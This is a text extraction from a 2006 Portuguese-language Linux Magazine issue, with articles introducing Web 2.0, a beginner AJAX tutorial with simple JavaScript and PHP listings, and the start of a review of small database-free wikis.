A Segunda RevoluçãoAs páginas web modernas se diferenciam fortemente daqueles velhos conhecidos monstros estáticos. Elas oferecem pontos de encontro sociais no espaço virtual e aplicativos completos via Internet: está nascendo a Web 2.0.por Carsten Schnober

Figura 1: No Flickr, os usuários podem enviar suas fotos para seu álbum e visualizá-lo como se elas estivessem em seu próprio computador.

http://supertuxbr.blogspot.com

Page 32: 26 - Web 2.0_dez_2006

32 http://www.linuxmagazine.com.br

CAPA | Introdução à Web 2.0

pois preenchem os dois pré-requisitos centrais: forte interação com o usuário e páginas dinâmicas.

Alguns dos exemplos mais conhecidos que esclarecem o princípio da Web 2.0: no Flickr [1], os usuários publicam suas fotos (figura 1), no Youtube [2], vídeos; no del.icio.us [3], selecionam links para os seus sites preferidos (bookmarks sociais). O Myspace [4] disponibiliza para os usu-ários uma plataforma completa na qual podem publicar conteúdos desde diários (Weblogs) até fotos, vídeos e músicas pro-duzidas por eles mesmos.

Esses exemplos consistem de pro-dutos de empresas que oferecem seus serviços sem nenhum custo. Elas ga-nham através de anúncios, que apare-cem e têm conteúdos orientados pela contribuição do usuário. Por isso, para elas, o número de usuários da página tem um papel decisivo: quanto maior o número de páginas que cada parti-cipante do Myspace manipula, por exemplo, maior é o número de pes-soas que as visualizam e, conseqüen-temente, maior é o lucro do cliente desses anúncios.

Avaliação coletivaUm técnica comumente usada pelos chamados websites interativos é a ca-tegorização (tagging) de solicitações. Os produtores das páginas estabele-cem categorias para fotos (Flickr), ví-deos (YouTube) ou links (del.icio.us) com palavras-chave. Além disso, existe a possibilidade de fazer buscas sobre um tema específico, nas quais são mostrados todos os links com a palavra-chave “Linux”, por exemplo. Existem

correlações entre as solicitações, pois ocorrem inúmeras páginas com o ter-mo “Linux” e que, além disso, estão na categoria “Open Source”. Assim, os usuários sempre descobrem páginas interessantes, através de solicitações de categorias semelhantes.

Da mesma forma, existem ligações entre os próprios usuários: as redes sociais. Daí surgiu uma outra defi-nição para a nova Web: Web social. Um exemplo é o Last.fm [5], antes Audioscrobber (figura 2). O site reúne informações sobre quais músicas os seus usuários ouvem no computador. Programas de músicas com suporte ao Last.fm transmitem o nome de cada música ouvida para o servidor. Ele então faz o cálculo com sugestões de outros ouvintes que correspondam ao gosto do primeiro usuário. Quem se conec-ta a sua conta Last.fm pela interface web fica sabendo quais outros usuários possuem o mesmo gosto musical que o seu, automaticamente.

Um outro projeto que depende fundamentalmente da colaboração de muitos usuários é a Wikipédia [6]. A enciclopédia on-line é composta pela contribuição voluntária de inúmeros interessados ao redor do mundo, que disponibilizam seus conhecimentos gratuitamente. Não há anúncios na página, e os custos para servidor e conexão à Internet são assumidos por patrocinadores e doadores.

Um outro fenômeno que pertence definitivamente às novas invenções da Internet são os chamados weblogs, ou apenas “blogs”. Eles são as versões Web 2.0 das páginas pessoais, que na verdade foram quase totalmente substituídas por eles. Outra tendência utiliza em vez de textos, contribuições de áudio – os cha-mados podcasts.

Web SocialOs componentes sociais, que relacio-nam os weblogs à Web 2.0, são resul-tantes da intensa comunicação entre os “blogueiros” (como os autores de blogs se descrevem). Eles comentam as inserções de outros blogueiros e, através dos links entre os blogs, co-mentam os temas de páginas relacio-nadas. Essa rede criada entre os blogs de temas correlatos transmite opiniões a velocidades extremamente rápidas ao redor do mundo todo. Com isso, forma-se um cenário difícil de ser resumido e de grande influência, co-

nhecido com o nome de bloguesfera. Todas essas aplicações web formam o que chamamos grandiosamente de “Inteligência coletiva”. A massa dos participantes da Wikipédia encontra informações erradas ou faltantes de forma mais rápida do que os revisores editoriais comuns jamais conseguiriam. Da mesma maneira, seria impossível categorizar centralmente todos os víde-os baixados no Youtube. A loja on-line Amazon [7] avalia a preferência de seus clientes estatisticamente para oferecer dicas de compras adequadas.

Críticos vêem nesse princípio des-centralizado a vitória da quantidade sobre a qualidade: na Web 2.0, uma contribuição é boa quando for visitada por alguns milhões de internautas – in-dependentemente de seu conhecimento técnico. A opinião de um especialista tem, portanto, o mesmo peso que a de um leigo. Os partidários desse princí-pio coletivo entendem que o conhe-cimento construído pela coletividade ligada pela rede sempre ultrapassa o de um único especialista.

Se são os componentes sociais e inte-rativos ou os técnicos que desempenham o papel mais importante na Web 2.0, é uma questão de ponto de vista. Todos os que vêem fenômenos como a bloguesfe-ra, Wikipédia e outros sites colaborativos como novidades revolucionárias preferem usar o conceito “Web social” no lugar do termo “Web 2.0”.

Nova tecnologiaUma técnica popular de implementa-ção de aplicativos muito alardeada na era da Web 2.0 chama-se AJAX (Asyn-chronous Javascript and XML), que de novo só tem mesmo o nome. Trata-se de uma combinação das já – há alguns anos – conhecidas técnicas de progra-mação web Javascript, XMLHttpRequest e DHTML (Dynamic HTML). O AJAX possibilita modificar um página web apenas parcialmente (DHTML) e pre-enchê-la com novos dados. Isso tem a vantagem de não ser necessário que o navegador baixe e reconstrua a página novamente, caso sejam alterados ape-nas alguns dados.

Além disso, a transferência assíncro-na de dados (XMLHttpRequest) permite ao servidor web solicitar dados de um ou-tro servidor no plano de fundo. Assim, o servidor web reage em fluxo normal, enquanto aguarda pelos dados de uma terceira página. Sem a transferência

Figura 2: O Last.fm desvenda o gosto musical do usuário, para então sugerir-lhe novas músicas.

http://supertuxbr.blogspot.com

Page 33: 26 - Web 2.0_dez_2006

33

| CAPAIntrodução à Web 2.0

Linux Magazine #26 | Dezembro de 2006

No campo da Web social, alguns ser-viços baseados em comunidades abarca-ram milhões de usuários em curto espaço de tempo. Por trás dos sites sociais estão grandes empresas como Yahoo e Google, que naturalmente vislumbram uma ma-neira de obterem algum ganho com esses serviços gratuitos. Para comercializarem banners de propaganda, usam as infor-mações dos perfis de seus usuários para personalizarem seus serviços, abrindo portas para o uso de dados potencial-mente indevido.

Em especial, o gigante das buscas na Internet, o Google, lida com extrema curiosidade com os dados de seus usuá-rios. A esfera privada costuma ser bastante limitada em páginas dos serviços da Web 2.0, deixando dados privados às vistas dos participantes das comunidades e nas mãos dos proprietários dos sites. ■

assíncrona de dados, antes de preparar as próximas solicitações do usuário, ele precisaria esperar pela chegada dos no-vos dados.

As antigas aplicações Java embarca-das e animações em Flash, em compa-ração com o AJAX, têm a desvantagem de que sempre causam problemas com determinados navegadores ou sistemas operacionais; além de obrigarem os usuários a instalar os plugins corres-pondentes. Aplicativos AJAX requerem apenas um navegador web com Java-script. Embora as implementações de Javascript se comportem de maneira diferente, isso permite que uma solici-tação do navegador utilizado obtenha uma reação correspondente.

Muitas das principais aplicações web se somam à Web 2.0, embora seu aspecto social seja apenas secun-dário. Entre elas, estão, por exemplo, o GMail [8] e o Google Maps [9]. O primeiro – sob o aspecto funcional – é apenas mais uma interface web. Ele é totalmente feito com AJAX, o que faz com que seja servido com um pouco mais de velocidade que os clientes de email locais, como Thunderbird ou KMail.

Algumas aplicações, como o Ajaxwri-te [10] (figura 3), estão à frente. Trata-se de um editor de textos que, com ajuda do AJAX, roda totalmente no navegador. O fabricante, Ajaxlaunch, anunciou que irá implementar todas as aplicações com AJAX necessárias para pôr em prática um sistema operacional com todos os recur-sos de aplicativos.

Fôlego para a Web 2.0No entanto, no sistema operacional AJAX da Ajaxlaunch, o chamado Ajax OS, ain-da espera pelo lançamento. Muitas outras aplicações AJAX encontram-se há anos em fase beta. Por trás disso está o sistema: apli-cações importantes da Web percorrem um outro processo de desenvolvimento como software clássico, comprado em caixa. Os desenvolvedores analisam continuamente o comportamento do usuário, e tentam otimizar a aplicação de acordo. Não é preciso declarar uma versão como pronta, pois seu usuário não tem que instalá-la no computador e eventualmente fazer uma atualização. Em vez disso, o navegador simplesmente baixa do servidor a nova versão na inicialização seguinte, uma vez que ela esteja instalada lá.

Junto com o AJAX, o formato RSS também é uma técnica típica da Web 2.0. Ele é largamente utilizado especial-mente em blogs, e produz um arquivo XML com os conteúdos atualizados. Os interessados não precisam visitar o blog regularmente, mas apenas chamar me-canicamente o arquivo de descrição de conteúdo legível gerado automaticamen-te em um leitor RSS, para encontrar as novas entradas.

As chamadas páginas Meshup pos-sibilitam a oferta de leitura automática na Web. O conceito é uma mistura dos termos ingleses mesh (rede) e mix up (misturar). Assim, o Google Maps per-mite criar links com mapas em outras páginas, e lá, por exemplo, demarcar uma rota. Junto a isso, podemos ter al-guns informativos de trânsito, obtidos de um outro servidor via RSS.

O Protopage [11] fornece um desktop completo no navegador (figura 4). Com esse serviço, o usuário tem a sua dispo-sição uma interface de trabalho no na-vegador, na qual ele reúne todas as suas informações importantes, como notícias de outras páginas via RSS, a previsão do tempo, fotos do Flickr, entradas de blogs e anotações pessoais.

Vago novo mundoA Web 2.0 continua sendo um conceito um tanto inconsistente, normalmente confundido com estratégia de marketing. Páginas da Internet usam o termo, em-bora ele tenha pouco de novo a oferecer. Apesar disso, a nova Web é mais que um chamariz de vendas, pois, juntamente com os novos aplicativos e a larga difu-são de conexões de Internet, estabeleceu uma nova relação com a WWW.

Mais Informações[1] Flickr: http://www.flickr.com

[2] Youtube: http://www.youtube.com

[3] del.icio.us: http://del.icio.us

[4] Myspace: http://www.myspace.com

[5] Last.fm: http://www.last.fm

[6] Wikipédia: http://www.wikipedia.org

[7] Amazon: http://www.amazon.de

[8] GMail: http://mail.google.com

[9] Google Maps: http://maps.google.com

[10] Ajaxwrite: http://www.ajaxwrite.com

[11] Protopage: http://www.protopage.com

Figura 3: O Ajaxwrite é um editor de texto completo que roda no navegador web. Graças à tecnologia AJAX, não são necessários plugins Java ou Flash.

Figura 4: O Protopage oferece ao usuário um verdadeiro desktop no navegador. Nele, é possível colocar notas, guardar endereços de sites ou até mesmo consultar a previsão do tempo.

http://supertuxbr.blogspot.com

Page 34: 26 - Web 2.0_dez_2006

Pau Talan - www.sxc.hu

34

CA

PA

http://www.linuxmagazine.com.br

Normalmente, quem utiliza pá-ginas web interativas precisa de um bocado de paciência. Depois

de termos que preencher e enviar um formulário com uma série de itens, é preciso esperar que o servidor verifique os dados e envie uma nova página como resposta (figura 1).

Há algum tempo, sites como o Goo-gle contornaram esse problema com uma técnica chamada AJAX, a última novidade entre os desenvolvedores web. Em vez de recarregar a página inteira a cada solicitação, o navegador solicita pequenos fragmentos de informação, os quais ele então integra à página em questão. O resultado para o usuário é um carregamento tão rápido quanto o de um aplicativo localizado no desktop.

O nome AJAX remete ao artigo “AJAX: A New Approach to Web Applications”, de Jesse James Garret [1]. Embora, segun-do as palavras de Garrett, não se trate de um acrônimo, AJAX é interpretado como abreviação de Asynchronous Javascript e XML. Os sites em AJAX não são compos-tos apenas de arquivos HTML estáticos, mas também de código Javascript, que é executado quando o usuário clica em um link ou solicita algum outro evento. As funções Javascript pedem então novos dados ao servidor.

AssíncronoComo a solicitação é executada assincro-namente (o A, em AJAX), o usuário pode interagir com outras partes do HTML ao longo da página – o navegador não fica bloqueado. Uma solicitação assíncrona desvincula a solicitação de sua resposta: depois que o código Javascript envia sua solicitação, ele simplesmente continua a operar. Quando obtemos a resposta no navegador, este chama uma função Javascript pré-estabelecida. Essa função insere a informação novamente na pági-na HTML em questão. Isso poderia ser

um único valor numérico em uma tabela HTML, dados estruturados em XML ou JSON (Javascript Object Notation), valores de formulário, e assim por diante.

O Gmail pode, por exemplo, baixar no meio da janela do navegador um edi-tor para a escrita de emails, mostrar uma mensagem, ou listar todas as mensagens (figura 2). Outros exemplos da aplicação prática do AJAX são os aplicativos Web 2.10 Flickr e Del.icio.us.

Início rápidoPara começar, vamos demonstrar o prin-cípio funcional do AJAX através de um aplicativo web muito simples: com um clique do usuário, o navegador baixa um número aleatório do servidor e o mostra no lugar determinado na página web.

O aplicativo web consiste de três componentes: a página inicial estática em HTML, os códigos Javascript e um script de servidor, que fornece o resultado (o número aleatório). Para isso, é neces-sário um servidor web (normalmente o Apache) com suporte a uma linguagem de script – em nosso exemplo, PHP. Na verdade, para o teste com a técnica AJAX, o servidor e o navegador podem rodar no mesmo computador, até mesmo em um computador de mesa normal.

O arquivo HTML do aplicativo AJAX de exemplo é construído de forma real-mente simples (exemplo 1). Na seção do cabeçalho, a tag de script faz referência a um arquivo Javascript de nome ajax.js, que contém o código completo. Como alternativa, as funções Javascript também podem ficar diretamente no arquivo

Programação de websites com AJAX

Interatividade instantâneaModificar textos diretamente na página web? Arrastar e soltar de minifiguras na própria galeria de fotos? Com o AJAX, páginas interativas não são problema.por Oliver Frommel

Figura 1: O modelo tradicional: a cada modificação, o site deve ser completamente recarregado.

http://supertuxbr.blogspot.com

Page 35: 26 - Web 2.0_dez_2006

35

| CAPAAJAX

Linux Magazine #26 | Dezembro de 2006

HTML, mantidas entre tags de abertura e fechamento de script. A conexão en-tre o código e o HTML é mostrada pela linha 6 do exemplo 1. O atributo onclick do link contém o nome da função Java-script, que chama o navegador (getRan-dom) quando o usuário clica sobre ele. Finalmente, segue-se um campo HTML (span) com um ID, através do qual, mais tarde, qualquer um pode se comunicar a partir do Javascript.

Se você quiser testar se a conexão HTML/Javascript funciona, então insira no arquivo os seguintes códigos:

function getRandom(){ alert("Clicado");}

Se index.html e ajax.js estiverem no mesmo diretório do servidor (por exem-plo, ajaxtest), chame a página HTML através do endereço http://NomeDoServidor/ajax-test/. Se o servidor e o navegador estiverem sendo executados no mesmo computador, utilize como nome de servi-dor localhost. Clicando-se então no link, o navegador deve abrir uma caixa de di-álogo que mostra o texto Clicado.

Se isso não funcionar, tente a busca de erros. É melhor utilizar o navegador Firefox para o desenvolvimento de AJAX e outros aplicativos web, pois ele oferece algumas ferramentas práticas para isso. Assim, você encontra no menu Ferramen-tas o item Console JavaScript, que abre uma pequena janela para comunicação de erros de Javascript.

Nesse caso em especial, as fontes de erro não são muito variadas. Ou o ser-vidor não localiza o arquivo Javascript (deve-se prestar atenção às maiúsculas e minúsculas), ou ele contém algum erro de sintaxe; falta um parêntese, traço, ou algo parecido.

Conexão do servidorAté agora, o navegador web envia apenas um arquivo Javascript para o servidor a cada solicitação feita à página HTML. Com isso, a comunicação é fechada e, mesmo com um clique no link, ambos não têm mais qualquer contato. Para obter mais dados do servidor, o código Javascript precisa primeiro inserir uma chamada “solicitação de objeto” (Re-quest-Object). Essa tarefa é realizada pela função XMLHttpRequest(), da qual o AJAX toma sua letra “X”. O novo objeto Request registra o seguinte comando da variável request:

request = new XMLHttpRequest

O objeto Request possui alguns méto-dos importantes para prosseguir com a comunicação com o servidor. Primeiro, request.open() define o parâmetro para a conexão. O primeiro parâmetro é definido pelo método HTTP (GET ou POST), e depois segue-se o endereço web a ser contatado (URL). O próximo parâmetro determina se o acesso deve acontecer assincronamente (neste caso, o valor é true). Os dois outros parâmetros

opcionais contêm o nome do usuário e a senha para páginas com proteção de acesso. Se o endereço http://localhost/~oliver/ajax/test.php estiver na variável Javascript url, a linha seguinte prepara a conexão:

request.open("GET", url, true);

Antes de enviar a solicitação ao servi-dor, é preciso ainda determinar a função que chamará o navegador, assim que ele receber a resposta. Lembre-se: como o navegador e o servidor se comunicam assincronamente, o navegador não es-pera pela resposta do servidor. Essas chamadas funções callback são definidas através do campo on-readystatechange do objeto Request.

Como o nome sugere, o navegador, no entanto, não apenas chama a função callback quando obtém a resposta, como também sempre que o estado do objeto Request se altera (state change). Ao todo,

Figura 2: O modelo AJAX: cada solicitação altera uma única parte específica da página.

Exemplo 1: Primeiro teste01 <html>02 <head>03 <script language+"JavaScript" type="text/Javascript" src="ajax.js"/>04 </head>05 <body>06 <a href="#"onclick="Javascript:getRandom()"AJAX-Test</a>07 <span id="random"> </span>08 </body>09 </html>

Exemplo 2: Usando uma função callback01 function checkResult()02 {03 alert("Neuer Zustand: " + request.readyState);04 }0506 function getRandom() {07 request = new XMLHttpRequest();08 var url = "http://localhost/~oliver/ajax/index.html";09 request.open("GET", url, true);10 request.onreadystatechange = checkResult;11 request.send(null);12 }

http://supertuxbr.blogspot.com

Page 36: 26 - Web 2.0_dez_2006

36 http://www.linuxmagazine.com.br

CAPA | Ajax

existem cinco estados nos quais ele pode se encontrar, desde “não ocupado” (0) até “fechado” (4).

Esperar pela respostaFinalmente a solicitação é enviada ao servidor pelo método send. Ela usa como parâmetros opcionais os dados do usuário, como por exemplo o preenchimento de formulários. Como nesse exemplo simples não existe nenhum dado desse tipo, send recebe apenas o parâmetro vazio null. O exemplo 2 mostra a listagem completa do simples aplicativo AJAX. Como função callback, foi inserida na linha 10 checkRe-sult(), que, a cada chamada, retorna o estado do Request em um diálogo.

Como nesse exemplo o navegador não inicia nada com a resposta do servidor, você não precisa se desdobrar para escre-ver um script PHP. Como demonstração, você mesmo pode conduzir o Request com a página index, como no exemplo 2. A aplicação do objeto Request e da função callback não é alterada com isso.

Caso não apareça nenhuma caixa de diálogo, faça uma nova busca de erros. Será que você digitou incorretamente os endereços das variáveis da URL? Copie

a seqüência (sem aspas), insira-a na bar-ra de endereços de uma nova janela do navegador e pressione [Enter]. Caso o servidor responda com uma mensagem de erro, compare novamente a variável com o nome do arquivo no servidor.

Outra fonte de erros tem a ver com bloqueios de segurança do Javascript no navegador: o objeto Request só pode man-ter contato com o servidor que originou a página HTML. Caso os endereços do servidor se distanciem uns dos outros, o navegador mostrará a mensagem de erro “Permission denied”, comunicando a vio-lação da linha de segurança.

A extensão do Firefox Firebug [2] se mostra especialmente útil na busca de erros em aplicativos AJAX. Ela mostra não apenas falhas no Javascript como, caso solicitado, também cada XMLHttpRequest junto com os campos de cabeçalho e códigos de resposta.

Dados do usuárioO exemplo apresentado acima não está totalmente dentro da proposta do in-ventor do AJAX. Solicitações ao servidor em segundo plano devem naturalmente servir, antes de mais nada, para inte-grar conteúdo dinâmico à página web atual. Por isso, o script PHP do exem-

plo 3 deve realizar o teste do serviço: ele fornece, para cada solicitação, um número aleatório entre 1 e 100.

Caso você tenha salvo o nome ran-dom.php no mesmo diretório que os outros arquivos, no servidor, será ne-cessário alterar da mesma forma a variável url em ajax.js. As linhas correspondentes são:

var url = "http://localhost/~oliver/ajax/➥ random.php"

Para que o navega-dor baixe o código Ja-vascript alterado, é pre-ciso atualizar a página com a tecla de atuali-zação [F5]. Clicando no link, as janelas de diálogo mostram no-

vamente o respectivo estado do obje-to Request.

Como era de se esperar, o acesso aos dados do servidor só é possível após a finalização da transferência, ou seja, no “estado 4”. A partir desse ponto, é importante que o responsável pelo callback verifique, a cada mudança de estado, se esse estado final já foi alcançado, e prepare ao final os dados do usuário.

O estado da requisição pode ser conferido através da variável readyS-tate do objeto Request. O campo responseText fornece os dados de usuário em formato de texto ASCII. A função checkResult é semelhante ao exemplo 4.

Ao recarregar as páginas no navega-dor e clicar no link, o usuário vê uma janela de diálogo que mostra o número aleatório gerado pelo servidor.

Alteração do siteAgora você já efetuou dois dos três passos para a aplicação AJAX: enviar uma solici-tação ao servidor com um objeto Request e, em seguida, receber a resposta e editá-la. Para terminar, resta a atualização da página propriamente dita. Finalmente, os dados do usuário devem aparecer nos locais adequados, em vez de surgirem na forma de caixas de diálogo.

Essa tarefa também é assumida pelo código Javascript, capaz de processar o conteúdo e a estrutura de uma página HTML de diferentes formas. O cha-mado Document Object Model (DOM) representa a construção de cada página (figura 3) por dentro do navegador. Essa construção em árvore de cada documento permite que todos os elementos HTML sejam referenciados, lidos e alterados em Javascript. Até mesmo o código escrito pode construir elementos na árvore, que então reaparecem na página HTML. A árvore de elementos de qualquer pági-na pode ser vista no Firefox através do menu Ferramentas | DOM Inspector (figura 3).

Primeiramente, deve ser suficiente alterar um elemento existente desse tipo, pois ele mostra o resultado da solicitação

Exemplo 3: Teste de serviço com número aleatório<? srand(time()); $random = (rand()%100); print $random;?>

Exemplo 4: Resposta do servidorfunction checkResult(){ if (request.readyState == 4) { alert("Resposta: " + request.responseText); }}

Figura 3: Através do menu Tools | DOM Inspector, o Document Object Model de páginas HTML pode ser mostrado no Firefox.

http://supertuxbr.blogspot.com

Page 37: 26 - Web 2.0_dez_2006

Linux Magazine #26 | Dezembro de 2006

do AJAX. Isso é feito de forma especial-mente simples quando o elemento a ser alterado usa um ID claro, que o Javascript consegue ativar. Para isso, no arquivo HTML do exemplo 1, foi previsto o ele-mento span com o ID random.

A função Javascript getElementById de todo o documento fornece uma referência a esse ID no elemento HTML. O coman-do seguinte aplica seu atributo innerHTML ao número aleatório contido.

var randomDiv = document.getElementById➥ ("random");randomDiv.innerHTML = request.responseText;

Se você escrever essas duas linhas no lugar da função alert na versão de che-ckResult() acima, a aplicação AJAX estará completa: o código Javascript escreverá o resultado diretamente na página HTML, em vez de recarregá-la por completo.

IncompatibilidadesEssa é a teoria – a prática, no entanto, como normalmente acontece no desen-volvimento de aplicações web, parece um pouco diferente. Cada navegador cozinha sua própria sopa, e assim os programadores AJAX tentam se adaptar a essas particularidades.

A começar pelo navegador Internet Explorer, cuja versão atual não imple-mentou o objeto XML Request – ao menos de maneira que uma chamada a XMLHttpRequest leve ao resultado dese-jado. No caso da Microsoft, isso equivale a produzir um objeto ActiveX correspon-dente que, com sorte, deve se comportar da mesma forma que os objetos Request aqui descritos. Na verdade, é necessária mais uma variante, visto que as versões mais antigas do Internet Explorer reque-rem uma sintaxe diferente.

O navegador Konqueror, do projeto KDE, também se mostrou problemáti-co, assim como sua variante de código fechado, o Safari, da Apple. Ambos sofrem de dificuldades em relação à manipulação das árvores DOM da maioria de suas construções Javascript. O exemplo AJAX apresentado aqui pode ser encontrado com a listagem completa, com improvisos para todos os navegadores, em [3].

A função checkResult() da lista demonstra, além disso, como podemos configurar a interação de maneira mais dinâmica. Como na última variante, o elemento span só aparece no resulta-do quando a solicitação está encerrada

Mais Informações[1] AJAX: A New Approach to Web

Applications: http://adaptivepath.com/ publications/essays/archives/000385.php

[2] Firebug: http://www.joehewitt.com/ software/firebug

[3] Exemplos on-line: www.linuxmagazine.com.br/issue/26/ajax.tar.gz

[4] Simple AJAX Toolkit: http://www.modernmethod.com/sajax/

[5] Rico: http://openrico.org

[6] Dojo: http://dojotoolkit.org

[7] YUI: http://sourceforge.net/ projects/yui/

(“estado 4”). Em todas as outras altera-ções de estado que se iniciam na cons-trução da conexão, o texto é alterado para Carregando..., para informar ao usuário o que está ocorrendo.

Ajuda na redeConforme vimos, as aplicações web AJAX requerem uma programação um pouco mais complexa que a de páginas web convencionais.

Isso começa pelo projeto: nem toda página é indicada para ser “ajaxificada”. Aqui a necessidade de um planejamen-to consciente é ainda mais importante que no desenvolvimento web clássico. Finalmente, para cada seção AJAX em um site deve haver um script correspon-dente pronto no servidor. Além disso, o código Javascript de cada aplicação AJAX precisa de conhecimento exato sobre a construção das páginas. Nesse ponto, as Cascading Style Sheets (CSS) oferecem uma melhora na estrutura nesse ponto.

As diversas bibliotecas AJAX e Java-script na Internet são verdadeiramente úteis. O Sajax [4], por exemplo, encap-sula solicitações AJAX e a preparação das respostas, de forma que você não precisa mais se preocupar com incom-patibilidades de navegadores. Há outros que oferecem ainda mais conforto, entre eles, Rico [5], Dojo-Toolkit [6] ou a Yahoo User Interface Library (YUI) [7], todos trazendo através do AJAX uma série de funções para a construção de interfaces HTML dinâmicas. ■

http://supertuxbr.blogspot.com

Page 38: 26 - Web 2.0_dez_2006

38

CA

PA

http://www.linuxmagazine.com.br

Os wikis estão na moda. Eles permitem a pequenas ou gran-des comunidades de usuários

reunir informações e editá-las conjun-tamente. O exemplo mais popular (e populoso) desse fenômeno é a Wikipé-dia [1]. Os wikis são usados até mesmo por desenvolvedores para coordenar e planejar seus projetos de trabalho, sem contar seu uso na documentação, onde compõem um meio de ajuda bastante eficiente. Eles se baseiam no modelo de desenvolvimento aberto – cada um deve inserir uma entrada ou editá-la –, o mesmo que também fez a fama dos blogs.

Para tarefas simples, um banco de dados grande traz ao sistema mais desvantagens que benefícios, pois sua instalação e administração ficam sig-nificativamente mais complexas. Nas alternativas gratuitas do ciberespaço,

que normalmente não trabalham com bancos de dados, um wiki só é factível com o uso de arquivos texto.

Além disso, os wikis também es-barram em um obstáculo: são indi-cados para projetos em que haja no máximo algumas centenas de artigos. Caso esse número cresça, a velocida-de de edição cai drasticamente. Este artigo irá apresentar cinco wikis que não dependem de bancos de dados. O quadro 1 apresenta links para três projetos de grandes wikis.

Os candidatosEste artigo analisa cinco wikis, nos quais os participantes contribuem ativamente: Wikepage, PWP, Moin-Moin, PmWiki e Dokuwiki. Todos os projetos prometem uma instalação fácil, sem necessidade de conheci-

mentos sobre bancos de dados. No caso mais simples, o sistema mostra, logo após ser descompactado, um ar-quivo texto de fonte no servidor web. Alguns sistemas permitem o ajuste da aparência através de modelos ou macros, ou ainda estender a funcio-nalidade com plugins.

Um aspecto importante é a proteção de acesso. Se um wiki ficar aberto a qualquer um, existe o risco de usuários e robôs fazerem mau uso do wiki para propaganda e anúncios. Um exemplo de mau uso de wikis desprotegidos é a página do Tipiwiki [2]. Em agosto de 2006, o wiki foi quase totalmente tomado por links de propaganda, de modo que as páginas, incluindo até mesmo a de acesso, não podiam mais ser utilizadas.

Enquanto wikis como o Media-wiki trazem uma administração de usuários com proteção em um ban-co de dados sofisticado, que permite diferentes grupos de usuários com direitos bem definidos, essa possi-bilidade geralmente não existe nos pequenos wikis. Também é interes-sante notar o dialeto wiki utilizado, assim como as marcações usadas para se criar comentários ou links. Caso exista o desejo de migrar para um sistema maior, vale a pena saber quanto o conteúdo deverá ser refor-matado para isso.

Cinco wikis compactos sem banco de dados

Serviço rápidoPara a documentação de um pequeno projeto ou coleta de informações, não é preciso um wiki pesado, com banco de dados. Basta uma pequena solução, que utiliza simples arquivos de texto para armazenar conteúdo.por Frank Wieduwilt

Quadro 1: Wikis que suportam bancos de dadosPara projetos maiores, com milhares de páginas, os wikis apresentados neste artigo não têm qualquer utilidade. Quem planeja ter um wiki com grande número de artigos deve escolher um com suporte a bancos de dados.

Mediawiki [2]: Base da enciclopédia on-line Wikipédia, reúne arquivos locais. Utiliza o MySQL como banco de dados.

Wikkawiki [3]: O projeto também usa um banco de dados MySQL para armazenar textos. Além disso, o software permite a extensão através de plugins.

ErfurtWiki [4]: Esse programa possui suporte a diversos bancos de dados, e consegue usar até arquivos texto como back-end.

A página da WikiMatrix [5] agrupa vários wikis com e sem suporte a bancos de dados.

Emin Ozkan - www.sxc.hu

http://supertuxbr.blogspot.com

Page 39: 26 - Web 2.0_dez_2006

39

| CAPAWikis

Linux Magazine #26 | Dezembro de 2006

WikepageO wiki Wikepage [3] (figura 1) funciona de acordo com o lema “desempaco-tar e deixar rodar”. O tamanho total do pacote fica em 38 KB, e seu autor, Sefer Bora Lisesivdin, dá o motivo para isso: na época do Commodore 64, os desenvolvedores tinham apenas 38.911 bytes à disposição e, apesar dis-so, existiam programas perfeitamente utilizáveis. Com isso, assim como o ditado, o código do Wikepage nunca terá mais que 38.911 bytes. Mas ele funciona baseado em plugins.

O Wikepage se baseia no código do Tipiwiki [2], e necessita de um servi-dor web com PHP 5.1.4 ou superior. A instalação requer apenas que seja descompactado o pacote de arquivos do programa – em seguida, ele já está pronto para o uso. O Wikepage pode ter os temas alterados e também pode ser traduzido com a ajuda de um arqui-vo de tradução simplesmente copiado para o diretório base do wiki.

A aparência do wiki é ajustada ao gosto do leitor através de temas. Uma série de modelos prontos, que podem servir como ponto de partida para alguns experimentos, podem ser encontrados em [4].

Na configuração padrão, o wiki está aberto a todos os visitantes. Há

um modo pessoal no qual deve ser inserida uma senha antes de se edi-tar as páginas. Essa senha vale para todas as páginas – o programa não permite atribuir direitos diferentes para cada usuário.

As opções de formatação vão desde diferentes comentários de texto, pas-sando por listas, até simples tabelas. Os desenvolvedores previram até mesmo a construção de imagens nas páginas do wiki. O dialeto wiki difere bastante em relação àquele do Mediawiki; por conta disso, sofre de certa dificuldade para a transferência de conteúdo para outros wikis. Infelizmente, no que diz respeito a documentação ou manuais, a oferta é um pouco escassa no caso

da Wikepage; nem a homepage nem os arquivos do código-fonte oferecem qualquer descrição das marcações ou uma explicação sequer de como os temas devem ser instalados.

PWPO PWP [5] salva as páginas do wiki em arquivos texto e requer um servidor com PHP a partir da versão 4.2. Se for utilizada a versão 5 dessa linguagem, o software irá pedir os pacotes de com-patibilidade com PHP4. A configura-ção básica é feita rapidamente: basta descompactar o arquivo com o códi-go-fonte e chamar a página de índice para ver o wiki rodando. As alterações nas configurações são feitas com a edição dos arquivos de configuração, naturalmente em texto puro. O PWP formata a saída com CSS, que pode ser alterado como você desejar.

O PWP não possui qualquer recurso de administração de usuários. Apenas algumas funções, como a exportação de páginas do wiki em HTML estático, são efetuadas pelos desenvolvedores sob a proteção de uma senha. Lars Ackermann, autor do PWP, aconselha a se utilizar como proteção de acesso os mecanismos do servidor web para limitar o acesso ao wiki através do arquivo .htaccess.

O PWP suporta inúmeras opções de formatação: decorações de texto, iden-tações, tabelas, bem como a inserção de desenhos. Os desenhos precisam primeiro ser baixados para um diretó-rio próprio do wiki, chamado Uploaded Files. Por fim, o software permite um link a partir de cada página do wiki. O campo Uploaded Files também abri-ga arquivos de outros formatos, que depois ficam disponíveis a todos os usuários do wiki.

O wiki utiliza um sistema de con-trole de versões, no qual todas as re-

Figura 1: A construção simples do Wikepage permite uma escrita rápida; a quantidade de documentação, no entanto, não facilita muito o trabalho.

Figura 2: O MoinMoin é o wiki desenvolvido em Python.

http://supertuxbr.blogspot.com

Page 40: 26 - Web 2.0_dez_2006

40 http://www.linuxmagazine.com.br

CAPA | Wikis

visões antigas das páginas do wiki são arquivadas e, caso se deseje, reativadas. Com ajuda de um diff, as diferenças entre duas versões de uma mesma página são claramente mostradas. Há uma ferramenta que realiza buscas em todo o texto dos artigos, incluindo pá-ginas de texto puro enviadas através do campo Upload Files.

